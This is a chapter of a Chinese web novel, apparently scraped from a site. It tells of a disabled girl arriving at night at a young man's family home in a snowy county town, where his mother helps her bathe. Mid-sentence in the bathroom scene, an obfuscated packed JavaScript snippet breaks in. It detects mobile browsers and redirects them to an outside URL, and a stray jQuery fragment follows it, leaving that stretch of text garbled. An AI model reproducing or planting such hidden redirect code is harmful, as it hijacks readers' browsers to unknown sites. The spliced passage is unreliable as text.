9. Dec.

作品:《在北方

    第9章


    刚到零点,白色面包车驶入了洛城县内。


    再有二十分钟就到了陈川的家。


    小县城休息的早,大部分建筑都是漆黑一片,只留下盏盏不怎么亮的路灯支撑在飘雪的深夜,望着闪过的目生街景,乔落手慢慢绻进掌心。


    寄人篱下是怎样的体验,她没尝过,估计也好吃不到哪去。


    陈川瞄去一眼,看清她紧绷的嘴角,轻皱下眉头没开口说什么。


    二十分钟后。


    徐美好打个哈欠的同时打转方向盘。


    车穿过洛城县人民医院后门的大道拐进只有一辆车能过的道里。


    乔落看过去,路的两侧都是民建独家小院。因各有不同,所以会留有空闲停私家车。


    一眼望去,狭窄又空余。


    她微微垂头朝外瞧,两侧房子最高不过三层,每排之间都有一个窄或宽的小巷子,想要进去都必须通过一个高陡不一的下坡。


    挺复杂的路况,初拿驾照的司机估计都不敢进来。


    徐美好开的格外熟练,缓缓减速,停在一栋占地比较大,双扇门朝路的房子外,门口顺延出来一小块地衔接着七八层台阶。


    乔落往上望——店名:“阳光副食店”。


    牌子被晒得掉色,开挺多年了吧。


    对面是窄庄社区居民中心,外面墙上扯了“禁毒和防冬日偷窃”的红条。


    “到了,”车停稳,陈川晃两下脖子,“乔落,你先在车上等下。”


    到别人家了。


    乔落满脑子都是这句话,余光望着腿。


    半晌后,她轻轻地垂眸。


    好不容易攒起的那点可怜的心思又散了。


    在这秒忍不住问自己,一个残疾人独身来到一个陌生家庭后悔吗。


    没有答案。


    她嘴里发干,用力攥紧手,妄想用疼痛来麻痹不安和惊惶。


    “都醒醒,”拔掉车钥匙的徐美好拍拍赵明让,转身往后看,“到家了啊,别睡了。”


    她又看向陈川。


    “你在车上陪着乔落,我们仨先把行李拿进去。”


    陈川顿了秒,低声应了句:“成。”


    东西三个人拿不算多,但路滑雪大,赵明让还没睡够,人迷迷瞪瞪,险些摔个狗吃屎。


    何必言及时拽住他,对着他屁股踢一脚,“对你自己的屁股好点,快走。“


    赵明让不服。


    最前方的徐美好提醒他们:“小点声,宋姨跟小鱼都睡了。”


    赵明让马上不还嘴了,空出来的手比了个“OK”的姿势出来。


    乔落看着他们走到“阳光副食店”左侧的道里。


    周围一下子静了下来,她微微偏头,雪落在地上的淤泥中化为乌有。


    仿佛再说。


    人到了最后都是一把黄土。


    早晚的事儿。


    “乔落。”


    陈川忽然喊她的名字。


    乔落慢半拍的瞥过去,面无表情地盯着他。


    他淡声说:“我家不是妖魔鬼怪,对人没兴趣,不用担心什么。”


    陈川没给乔落做什么反应的时间,他伸长手臂撑着前座起身,站在车门外,隔着茫茫的深夜与她对视一眼,风雪落在他身后,冷气见缝插针地跃进车内。


    乔落越是情绪浮动大,脸色的表情就越淡,什么都没说,只是转开头。


    浓沉的夜色愈发重,陈川头发被风吹的没了形,添上几分桀骜。


    他斜靠在车门上,侧脸轮廓分明,拿出烟盒倒了根出来咬在嘴里,拢起手点火。


    打火机猩红的火光一闪而过,尼古丁的味道顺风卷来。


    乔落突然明白。


    徐美好他们提前下车去放行李,其实是借口。


    原因是想让陈川宽慰她的紧张,或者是想让她平静一下。


    一支烟燃尽,陈川又睨她眼,嗓子被烟熏得暗哑:“乔落,该下车了。”


    乔落侧头看他,那张小脸毫无波动。


    她点头,眼里冒出来点不服输的劲头,开口时嗓音沙哑:“我又没拦你。”


    陈川轻挑眉头,没还击她。


    他干脆利索地上车把轮椅弄下去,撑开后,又把她抱上去。


    外头的风和雪比在车内碰到的更深刻,乔落瑟缩了好几下。


    北方果然冷,她的衣服不堪一击。


    陈川拽上车门,俯下身给她扯紧围巾,“到屋里就不冷了。”


    四目相对,陈川眯眸,低笑一声,眼里的情绪很淡。


    乔落比他更淡,也不懂他笑什么。


    归结于这人有病。


    她用气音极轻地嗤了嗤。


    陈川扯了扯唇,笑她:“呦,蛮凶的嘛。”


    乔落:“……”


    真是个大神经。


    她翻个白眼,半张脸都埋进围巾,浑身上下都写满了:懒得理你。


    陈川冷哼了声。


    站直身体,他用手拽住轮椅往前滑了点,顺势推着往前。


    地上的雪被车轮轧过一茬又一茬,新泥混新雪,看不清楚原本的模样。


    冷风擦着皮肤,发出冷冽的疼,乔落悄探出手,接了点雪。


    一秒融化,留不住。


    轮椅到了陡坡,上头的雪白天化了,晚上结成了亮晶晶的冰。


    乔落忍不住皱眉,有点担心会滑下去。


    那可真是出尽洋相了。


    但陈川并没推着她硬往上走,而是往漆黑的道口里撂了一句:“还不出来?”


    “咔哒”,小道里灯亮了。


    冷白色的光晕染了一大片雪。


    赵明让笑嘻嘻地跑出来帮忙推轮椅,“这不是想看看我川哥多牛嘛。”


    陈川斜他,轻嗤:“要不你来?”


    赵明让马上拱手,“不敢不敢。”


    陈川懒洋洋地斜他一记。


    听完对话的乔落:“……”


    我是什么玩具吗。


    两个人推比较安全,陈川按了按她的肩膀,“老板,抓一下呗。”


    乔落带着袖子的手立马放到了轮椅两侧的把手上。


    陈川看那速度,至于那么急吗,忍不住闷笑一声。


    没事,我耳聋。


    乔落在心里默念。


    “起飞咯!”赵明让压低声音爆出来这么一句。


    乔落愣秒,手下意识抓紧。


    陈川正好看见了,嘴角不着痕迹地弯了弯,手上发力。


    轮子压过地上的冰,打滑,发出咔嚓咔嚓的响声。


    听的人心惶惶。


    好在上坡有惊无险,乔落悄摸摸地松口气。


    陈川啧了下。


    乔落一僵,继续耳聋。


    -


    上来后,乔落才发现副食店这栋房子是独立的,它后边是一条巷子,不宽也不窄,私家车肯定过不去,其他自行车类的都可以。


    门灯下,徐美好站在门口,何必言立在她旁边。


    见他们来了,徐美好边转身边说:“小川,房间宋姨收拾好了,二楼,你隔壁。”


    陈川嗯了声,“知道了。”


    乔落扫视一圈,房子里还有个小院。


    小院不算大,右侧两间房,右侧还隔出来一小间洗手间。


    她低眸,通往副食店那扇门口的台阶处沏出了个小坡。


    足够轮椅上去的大小。


    和旁边水泥颜色不一样,它很新。


    “做得不错吧?”何必言怼了一下陈川的肩,“我亲自沏的。”


    “还有我,”赵明让马上插话邀功,“沙我拉的,水泥我和的!”


    “行,明我就去菜市场买菜,好好犒劳你俩一顿。”


    陈川笑着说完,推着轮椅拐个弯。


    弯口不深,里边上停了辆儿蓝色的儿童自行车,对着的是扇木门。


    徐美好提前开了门,楼梯灯微弱地亮着。


    乔落注意到水泥楼梯,不短,甚至打了个弯。


    以她的情况没有人帮助,根本不可能上下楼。


    陈川停下轮椅,昏黄下的眼尾冷淡,他绕到她跟前,说:“我抱着乔落先上去,你俩把轮椅弄上去。”


    “行,你先上去,我弄净轮椅上的雪,”徐美好按住蠢蠢欲动的赵明让。


    陈川点头,抱着乔落起身。


    两人的衣服料子簌簌响,乔落默不作声地揽紧他的脖子。


    陈川垂眼看她,淡淡道:“还以为你不会怕。”


    “不是,”乔落抬头看他,眼里有点傲气,“我怕你臂力不行。”


    陈川嗤乐,不以为然地回她:“谢谢理解。”


    “……”


    脸皮还得陈川最厚。


    乔落沉默。


    上楼的时候,陈川走得很稳,给乔落一种很微妙的感受。


    他不像是第一次抱人上楼梯。


    熟练度极高。


    到了二楼,门开着,客厅灯开着,地上垒落着他俩的行李。


    一个中年女人披着棉衣外套正好出来。


    看样子应该是五十岁,头上戴了顶灰色帽子,眉目与陈川两三分相像,身型消瘦,脸色不太好。


    像病了很久的人。


    这是陈川的妈妈。


    乔落手臂不自觉用力,眼神微微颤动。


    “乔落,这是我妈,”陈川紧蹙眉,不赞同的看着宋书梅,“妈,你怎么起来了,吵醒你了?”


    “没有,”宋书梅摇头,“我一直醒着。”


    她走上前,“乔落,你好。我是陈川的妈妈。我叫宋书梅,你可以叫我宋姨。”


    乔落张了张唇。


    良久,没说出话来。


    灯光倾洒,宋书梅朝她安抚一笑:“没关系,不想说话可以先不说。”


    她转身往前走。


    “这间在小川隔壁,那边那间是我女儿陈渝的房间,她已经睡了。”


    “明天再介绍你们认识。”


    乔落看了一下,二楼刚好四间房。


    客厅简单大方,画笔最多,图纸上的涂鸦一看就是出自小孩子的手。


    她安静地听着宋书梅说话,心里还是依旧胶着。


    宋书梅打开门,对她说:“不清楚你喜欢什么颜色,就按小姑娘喜欢的弄了。”


    乔落往里投去一个视线,白织灯色调偏冷,门对着一扇窗。窗帘淡粉色,整体以米粉为主。窗下摆了张书桌,旁边是床和衣柜,空间还挺大。


    再不开口就不礼貌了。


    “我,”乔落艰涩地说,两道目光都看来,“宋,宋姨,我想把外套脱了。”


    坐一路车了,不太想带着一身汽油味的衣服躺在床上。


    宋红梅听到她说话,眼圈有点红,“小落,你介意宋姨帮你洗个澡吗?”


    “妈,你别那么多愁善感。”


    当工具人的陈川掀起眼皮,终于有机会出声。


    宋书梅哪哪都好,就是那个情绪,简直不能碰见一点煽情和难过的事儿,一碰就跟洪水似的,压根控制不住。


    不然也不会收到信,一确定他愿意去广港就马上去织围巾什么的。


    还边织边难受。


    恨不得自己亲自过去,所以这一生才过的如此颠簸坎坷。


    宋红梅不满地瞪他一眼,“你懂什么,”她又看向乔落,“可以吗?”


    乔落非常想洗个澡。


    她一个人现在也洗不了,无法推辞,只能忍着羞耻感点头。


    “那我把你放在浴室去。”


    乔落微僵,慢慢松开手臂。


    陈川眼神跟着挪开,这话说出来多少有点尴尬,他不自然地转身,快步朝洗手间走去,宋红梅比他早一步去开门。


    洗手间的灯暖色调,乔落低头就看见残疾人家里该有的东西。


    坐便周围嵌入了扶手,方便她撑着上厕所。地上放了把防水的椅子,方便她坐着洗澡


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765005|157778||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    好多东西都往下摆了几寸,不是只有她一个人,而是所有人的洗漱用品,似乎再说我们都一样。


    一时间,乔落说不上来什么感觉。


    她心口涌动着热气,又烧又烫,熏得她眼睛都开始发颤,泛红。


    出事后,她在亲人身边没感受到的东西,在这个陌生的地方,陌生的家庭感觉到了。


    乔落努力压制情绪才没失态。


    陈川把她放到椅子上,“妈,我拿个箱子放门口,脏衣服放进去就行。”


    宋红梅嗯了声,“好了,你出去吧。”


    陈川转身出去,顺手带上门。


    乔落深呼吸,没往镜子看。


    光影下,宋红梅温柔平和,身上的气息像妈妈,但多了点中药味儿。


    和妈妈不太一样。


    这让她足够清醒,后脑勺渐渐发疼,脑海里的画面闪动的飞快、紊乱。


    乔落越来越僵硬,皮肤碰到空气,浮起层鸡皮疙瘩。


    她依然无法克制地产生出被扒光暴露残疾的恐惧。


    渗到了骨子里。


    凉透了。


    -


    暖灯落下时灼热。


    宋红梅看清楚女孩瘦的只剩骨头的身体,后肩到肩胛骨上落下的烧痕,痂是新生的肉芽组织,崎岖不平,深浅分明,洁白纤细的小腿明明看上去那么有力,可偏偏多了许多手术痕迹和伤疤,无法再正常发力,她的眼睛又红了。


    真是一群挨千刀的。


    宋红梅心里头压的难受,忙转视线,起身去开热水。


    热气升满整个洗手间,却成了乔落最后的遮羞布。


    她尽量不去思考过多。


    真怕身体里那场激烈的暴风雨淹没一切,只好闭上眼不去想。


    可有控制不住地妄想。


    如果这是一场梦该多好。


    乔落一眼都不敢去看腿和手指,用牙齿咬住下唇里的软肉,血腥气弥漫了满嘴,整个人都发出细微的抖动。


    忽然,她被人抱进怀里。


    乔落僵住,微怔,忘了呼吸。


    “没事了,没事了,都过去了,”耳畔宋红梅温柔的低喃穿透极夜的暗。


    她眼底红的厉害,混杂茫然,不知所措。


    可乔落还是没哭,没什么太大反应。


    只是觉得类似的气息让她亲近,本能地把头轻轻靠在宋书梅的身上,似稚儿偎母那般得到了几分松懈,疲惫地闭上眼,任由身体里鼓动的洪水大肆涌流蔓延,摧毁过去的一切建筑,桥梁。


    她总要喘口气。


    对吧。


    先呼吸了。


    才好继续活下去。


    -


    客厅的窗拉开,外头是熄灯的万家。


    细细的风雪飘来,陈川靠在那,垂着眼,掏出打火机,点上烟,静静地抽烟,烟雾绕着他的手臂散开,从窗口消失不见。


    二楼门口,徐美好和赵明让、何必言迟疑几秒,放下轮椅。


    前者选择下去睡觉,后者低声和陈川打了个招呼就回家了。


    “川,我们先回去了,有事电话。”


    陈川这才发觉他们都上来了,他手拿走烟,还没开口,何必言就摆手。


    “歇吧,咱们之间就不必互相恶心了。”


    赵明让冲他眨眨眼,带上门走了。


    雪落地无声,像是有声。


    陈川发丝下深黑的眸子盯着门几秒,淡淡扯了扯嘴角,指间的烟被雪打灭。


    他又低头,拢起手点了一根。


    夜里亮起的光是冷调,少年的线条是硬挺的轮廓,他眼皮微垂,下颌微动。


    一口烟漫出来了他的鼻腔。


    -


    楼下,赵明让出了陈川的家门。


    关灯,摸索着锁好门后,他望着黑夜中满天的雪轻叹口气,摆摆手和何必言往相反方向走。


    他爸今天队里值班,家里估摸着连暖气都没开。


    肯定冷得冻死个人。


    一点也不想回去。


    何必言走了几步,回过头去看赵明让垂头丧气的背影,张口喊,“哎,赵明让,你饿不?去我家吃点饺子不?”


    赵明让猛顿下来,猛回头看他,眼睛发亮,大步冲过去,紧接着一个滑行。


    “老何,我快饿死了!”


    他扑到何必言的背上,喜笑颜开地说,“快快快背着我走。”


    “背你大爷,”何必言把他翻下去,“爱去不去。”


    赵明让嘿嘿一笑,又跳起来揽住他的肩,两人互戳着彼此的痒痒肉往前走。


    住在陈川楼下厨房隔壁房间的徐美好给炉子里换了个新煤球,听着外头的动静笑了一声,简单洗漱完躺下准备睡觉。


    手机震了震,她拿起来看。


    :明天一块吃饭。


    陈川发的。


    楼下墙外突然传来赵明让一声鸡叫:“哦耶!明天川哥做饭!”


    何必言无奈的说:“赵明让!小点声,你丫能不能好好走路啊?一会摔个狗吃屎别哭。”


    楼上的陈川听到了。


    他冷淡的眼神里带了点舒坦,手拿开最后一根烟,懒散地摁进窗沿的玻璃烟灰缸内,慢悠悠地关上窗,隔绝冷空气的侵扰。


    与此同时,洗手间停了水声,响起吹风机的轰隆声音。


    十分钟后,宋红梅叫了声“小川”。


    听到门外的脚步声。


    潮湿空气扑在皮肤上,乔落轻缓口气,苍白的脸蛋也被闷红了。


    其实还有点不太好意思。


    第一次见面就歪人家身上。


    她偷摸清了清嗓子,假装什么都没有发生过。


    没两秒,敲门声响起。


    乔落故作镇定地平静下来,面无表情地用余光凝视一秒畸形的指甲。


    便挪开视线,不再去看。


    她的手一点点缩进特意买大的薄衫袖子中。


    藏起最后的自尊。